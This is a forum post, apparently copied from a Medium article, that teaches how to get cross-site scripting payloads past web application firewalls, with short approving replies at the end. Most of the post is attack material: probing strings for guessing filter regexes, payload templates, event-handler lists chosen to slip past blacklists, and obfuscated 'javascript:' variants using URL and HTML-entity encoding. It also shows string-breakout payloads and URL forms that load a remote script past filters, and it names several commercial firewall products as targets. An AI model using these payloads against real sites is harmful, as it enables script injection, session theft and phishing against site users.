[FUN] Bypass XSS Detection WAF

Basically sad life like dog bite, a scary world. Sorry for my English.

A little simple knowledge for everyone.

This article focuses on WAF’s ability to bypass the ability to detect Cross Site Scripting (XSS).

The follow:

  • Determining payload structure: Determining various payload structures for a given context provides a precise idea of the optimal testing approach.

  • Probing: Probing, involves testing various strings against the target’s security mechanisms.

  • Obfuscation: obfuscation/other tweaks payload if required.

The returned responses will help us analyze the assumptions about the solution used.

I/Introduction

Cross-Site Scripting (XSS) attacks are a type of injection. https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

II/HTML

Inside Tag:
<input type="text" value="$input">
Outside Tag:
 <span>You entered $input</span>
  • Outside Tag: primary character for starting an HTML tag
According to the HTML specification, a tag name must start with an alphabet

=> the information can be used to determine the Regex match the tag name.

<dEv - If fails, <[a-zA-Z]+ 
<d3V - If fails, <[a-zA-Z0-9]+ 
<d|3v - If fails, <.+
<svg - If passes, no tag checking is in place
<dev - If fails,<[a-z]+
x<dev - If passes,^<[a-z]+

Without any of allowed by the security mechanism, it is almost impossible bypass. Such filtering rules are not preferred due to high false positives.

If unblock, a number payload schemes -> new payload created.

#1

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

Once an appropriate {tag} found -> Predictive regular expressions are used to match filler between tag and event handler.

<tag%0axxx - if fails, [\s\n]+
<tag%0dxxx> - If fails, [\s\n\r+]+
<tag/~/xxx - If fails, .+
<tag xxx - If fails, {space}
<tag%09xxx - if fails, [\s]
<tag%09%09xxx - if fails, \s+
<tag/xxx - If fails, [\s/]+

Event handling is one of the most important parts of the payload structure.

Usually it will be combined with a regular Regex

on\w+

or blacklist

on(load|click|error|show)

The first regular expression is very limited and cannot bypass, while blacklist are often bypass by using lesser known event handlers that may no t in blacklist.

<tag{filler}onxxx - If fails, on\w+. If passes, on(load|click|error|show)
<tag{filler}onclick - If passes, no event handler checking regular expression is in place

If the regular expression to be ’ on\w+’ this expression cannot bypass because all event handlers start with on => next payload scheme.

If the regular expression follows the blacklist, we will find event handlers that are not blacklisted. If all event handlers are blacklisted -> next payload scheme.

Example:

onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

The testing of fillers to = is similar filler earlier and should be only tested if ‘<tag{filler}{event_handler}=d3v’ => blocked by the security mechanism.

The next component JavaScript to be executed. This is the part of the payload, but making regular expression assumptions used to match it is not required because JavaScript code is arbitrary and therefore cannot match predefined patterns.

=> Point in now, all components of the load are put together and payload only needs to be closed

<payload%0a 
<payload%0d 
<payload%09
<payload>
<payload
<payload{space}
<payload//

HTML specification allows

<tag{white space}{anything here}>

which indicates that an HTML tag such as

<a href='http://example.com' any text can be placed here as long as there's a greater-than sign somewhere later in the HTML document>

is valid. This attribute of HTML tags helps an attacker to inject HTML tags in the ways mentioned above.

#2

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

Testing similar to the previous payload scheme. That ? can be used at the end of the URL (if the filler is not used after the URL) instead of ending the tag.

Character follows ? will be considered part of the URL until > is encountered. With <script> tags, most security rules can be detected.

<object> tags can be created payload using the same payload scheme:

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

#3

Two variants:

  • Plain
  • Obfuscatable
Simple variants combined by patterns like
href[\s]{0,}=[\s]{0,}javascript:.
Its structure:
<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}
Obfuscatable payload variant structure:
<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,L
F}
Difference is {special} component as well as the {quote}.

{special} ref to an obfuscated version:

j%0aAv%0dasCr%09ipt:
J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:
J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:

In some cases, numeric character encoding can also be used to evade detection. As well as decimal and hexadecimal can be used.

&#74;avascript&colon;
jav&#x61;&#115;cript:

Two techniques of obfuscation can be used together if needed

&#74;ava%0a%0d%09script&colon;

Exe and Non

Can be divided into Execution and Non-exe based on whether the injected load can be executed without any special assistance. Non-exe occurs when the input gets reflected within a HTML comment
 <--$input-->
or between the following tags
<style>
<title>
<noembed>
<template>
<noscript>
<textarea>
These tags must be closed to execute payload. The only difference between executable and non-exe is the test of {closing tag} component.
</tag>
</tAg/x>
</tag{space}>
</tag//>
</tag%0a>
</tag%0d>
</tag%09>
If closing tag scheme is discovered
{closing tag}{any payload from executable payload section}
=> can used for successful injection.
Inside Tag
Primary character is the quote used to enclose the attribute value.

Example: input

<input value="$input" type="text">

-> Primary character "

In some cases, primary character is not required to break out.

Event Handler
Input reflected as the value of src attribute of script/iframe tag:
<script src="$input">
=> malicious script/web phishing..etc can be loaded directly
<script src="http://domain.com/malicious.js">
Bypass URL Matching Regular Expressions
//example.com/xss.js bypasses http(?s)://
////////example.com/xss.js bypasses (?:http(?s):?)?//
/\///\\/example.com/xss.js bypasses (?:http(?s):?)?//+
srcdoc
Input reflected as the value of srcdoc attribute of iframe tag:
<iframe srcdoc="$input">
an escaped (HTML entities) HTML document can be supplied as the payload
<iframe srcdoc="&lt;svg/onload=alert()&gt;">
Generic Attributes
All of the above cases do not require any bypassing techniques, except the last case can be omitted using the techniques used in the HTML context.
<input type="text" value=""/onfocus="alert()$input">
We have two categories based on the interactivity of the concerned tag:

Interactable

Input reflected in the tags can interact (clicking, hovering, focusing etc.,) only a quote is needed to break out.

{quote}{filler}{event_handler}{?filler}={?filler}{javascript}

Checking with WAF blocked using:

x"y

Event handler an important role here because this is the only component that possible detected by WAF. Each tag supports some event handlers and is up to the user to search for such cases, but there are some event handlers that can be linked to any of the tags:

onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onclick
onauxclick
ondblclick
ondrag
ondragend
ondragenter
ondragexit
ondragleave
ondragover
ondragstart

Intractable

Breakout of the tag is required to execute the payload if input reflected within a tag which cannot be interacted.

{quote}>{any payload scheme from html context section}
JavaScript
String Variable

The most common is reflection within a string variable. This is common because developers usually assign user input to a variable instead of using them directly

var name = '$input';
  • {quote}{delimiter}{javascript}{delimiter}{quote}
    Where delimiter are usually JavaScript operators like ^.

    If user input in a single quoted string variable:

'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'
'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
  • {quote}{delimiter}{javascript}//
    Use a single line comment to comment the rest of the code in line to valid syntax.
'<{javascript}//'
'|{javascript}//'
'^{javascript}//
BLOCKS

Example

 if (a > b){
 xnxx_func('');}}alert();if(true){('');
 }

First } close block

Second } dummy func as test

alert(); dummy function as test

if(true){ starts an if condition block to syntax valid.

(’ combines with remains of function.

The payload structure depends on the code itself and this uncertainty makes it difficult to detect (can add obfuscated).

');%0a}%0d}%09alert();/*xnxx.com*/if(true){//xnxx.com%0a('
 </scRipT{?filler}>{html xnxx.com}

can be used to break out and execute payload but easily detected.

Finally, testing in process hunter bug.
Name: ModSecurity
Name: Wordfence
Name: Cloudflare
Name: Akamai
Name: Comodo
Name: F5

There are many other firewall providers that I cannot provide publicly.
Sorry I cannot provide payload POC.
Original post: https://medium.com/@th3law/fun-bypass-xss-detection-waf-cabd431e030e

https://medium.com/secjuice/waf-evasion-techniques-718026d693d8
9 Likes

Due to my low understanding of Web Application security and penetration testing domain, I couldn’t understand fully about the topic but nonetheless it is a good article, 10/10 would bookmark it for future reference.

I <3 XSS.

Thank you for this topic, I like.

Hey man just a reminder:

1 Like

Sorry, thanks you :smiley:

This topic was automatically closed after 30 days. New replies are no longer allowed.